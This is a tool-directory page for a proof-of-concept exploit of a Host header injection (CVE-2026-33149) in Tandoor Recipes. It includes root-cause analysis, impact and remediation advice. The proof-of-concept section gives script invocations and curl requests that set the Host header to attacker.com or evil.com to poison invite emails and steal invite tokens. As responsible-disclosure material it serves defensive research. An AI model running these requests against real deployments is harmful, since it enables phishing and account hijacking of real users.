Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33149-PoC — Proof-of-concept exploit for CVE-2026-33149, a Host header injection in Tandoor Recipes that enables invite link poisoning and cache poisoning. Includes modules for host acceptance, pagination, schema, and invite poisoning. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingWeb SecurityPenetration Testing
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Proof-of-concept exploit for CVE-2026-33149, a Host header injection in Tandoor Recipes that enables invite link poisoning and cache poisoning. Includes modules for host acceptance, pagination, schema, and invite poisoning.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33149 — Host Header Injection in Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Summary

Tandoor Recipes sets ALLOWED_HOSTS = '*' by default in settings.py, causing Django to accept any value in the HTTP Host header without validation. The application uses to generate absolute URLs in multiple security-sensitive contexts. An attacker who can send requests with a crafted header can redirect all server-generated URLs to an attacker-controlled domain.

request.build_absolute_uri()
Host

The most critical impact is invite link poisoning: when an admin creates a user invite, the email sent by the server contains a link pointing to the attacker's domain. The victim clicks a legitimate-looking email, the invite token is exfiltrated, and the attacker uses it to hijack the account provisioning flow.

Vulnerability Details

FieldValue
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Improper Neutralization of HTTP Headers for Scripting Syntax
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Affected VersionTandoor Recipes ≤ 2.5.3
VendorTandoorRecipes/recipes

MITRE ATT&CK Mapping

Technique IDNameRelevance
T1557Adversary-in-the-MiddleManipulating server-generated URLs to redirect traffic
T1566.002Phishing: Spearphishing LinkPoisoned invite email contains attacker-controlled link

Root Cause Analysis

1. Wildcard ALLOWED_HOSTS

File: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django's ALLOWED_HOSTS is a security measure that validates the Host header against a whitelist. The wildcard '*' disables this validation entirely, allowing any arbitrary value.

2. Unsafe URL Generation in Invite Emails

File: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() constructs URLs using request.get_host(), which returns the raw Host header value when ALLOWED_HOSTS does not restrict it. The invite UUID — a secret token — is embedded in the URL that now points to the attacker.

3. Additional Affected Surfaces

  • API Pagination — DRF pagination classes use build_absolute_uri() for next/previous URLs
  • OpenAPI Schema — Schema generator uses it for server URLs
  • Cache Poisoning — Deployments with caching proxies risk serving poisoned URLs to all users from a single request

Attack Flow

root@kitploit:~
┌──────────┐     ① Crafted Request         ┌─────────────────┐
│ Attacker │ ──────────────────────────────→│  Tandoor Server │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             uses "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP Server   │
                                            └────────┬───────┘
                                                     │
                                       ③ Email with poisoned link:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Victim      │
                                            │  (clicks link) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID sent to attacker
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Attacker     │
                                            │ uses UUID at   │
                                            │ real server    │
                                            └────────────────┘

Proof of Concept

Requirements

  • Python 3.8+
  • requests library
root@kitploit:~
pip install requests

Usage

root@kitploit:~
# Run all validation modules with basic auth
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Run all modules with session cookies
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Invite link poisoning only
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Modules

ModuleDescription
host-acceptVerifies that the target accepts arbitrary Host headers (ALLOWED_HOSTS = '*')
paginationConfirms API pagination URLs reflect the injected domain
schemaConfirms OpenAPI schema server URLs reflect the injected domain
inviteCreates a poisoned invite link — the primary attack vector
allRuns all modules sequentially

Manual Verification (curl)

1. Host Header Acceptance

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Expected: 200 (vulnerable) | 400 (patched)

2. Pagination URL Reflection

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Expected: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Schema URL Reflection

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Expected: http://evil.com/...

4. Invite Link Poisoning

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# Victim receives email: "Click: http://attacker.com/invite/<uuid>"

Impact

Impact AreaDescriptionSeverity
Invite Token HijackAttacker captures invite UUID via poisoned email link, hijacking account provisioningCritical
Credential PhishingVictim lands on attacker-controlled domain expecting a legitimate registration pageHigh
Cache PoisoningIn deployments with caching proxies, a single poisoned response contaminates the cache for all usersHigh
API Client MisdirectionPagination and schema URLs redirect API consumers to attacker infrastructureMedium

Remediation

Immediate Fix

Set ALLOWED_HOSTS to explicitly list your valid hostnames:

root@kitploit:~
# docker-compose.yml or .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Defense in Depth

  1. Reverse Proxy Validation — Configure Nginx/Apache to reject requests with unexpected Host headers before they reach Django
  2. USE_X_FORWARDED_HOST = False — Ensure Django does not trust X-Forwarded-Host from untrusted sources (default is False)
  3. SMTP Link Hardening — Use an explicit SITE_URL configuration for email link generation instead of relying on request.build_absolute_uri()

References

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Improper Neutralization of HTTP Headers
  • Django ALLOWED_HOSTS Documentation
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle
  • MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link

Disclaimer

This proof of concept is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this tool.


Author

Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Download Tool